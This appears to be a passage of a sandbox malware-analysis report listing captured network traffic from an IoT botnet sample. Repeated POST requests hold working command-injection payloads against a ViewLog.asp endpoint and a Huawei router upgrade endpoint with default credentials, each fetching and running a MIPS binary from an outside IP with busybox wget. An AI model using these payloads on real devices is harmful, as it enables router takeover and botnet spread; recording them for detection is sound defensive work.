                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                171192.168.2.155637694.120.169.1678080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:34.854077101 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                172192.168.2.155292262.29.64.1558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:35.532536983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                173192.168.2.153480431.22.116.1848080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:35.885617018 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                174192.168.2.153834695.216.98.2458080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:35.954930067 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.151667118 CET360INHTTP/1.1 404 Not Found
                                                Server: nginx
                                                Date: Thu, 23 Nov 2023 04:20:36 GMT
                                                Content-Type: text/html
                                                Content-Length: 146
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                175192.168.2.155264094.122.223.278080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:35.978271961 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                176192.168.2.154617294.121.154.1848080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:35.981540918 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                177192.168.2.155850094.121.103.558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:36.118156910 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                178192.168.2.1549448156.254.109.10537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:37.055160999 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:38.684045076 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:40.603903055 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:44.603909016 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:52.283567905 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:07.643172979 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
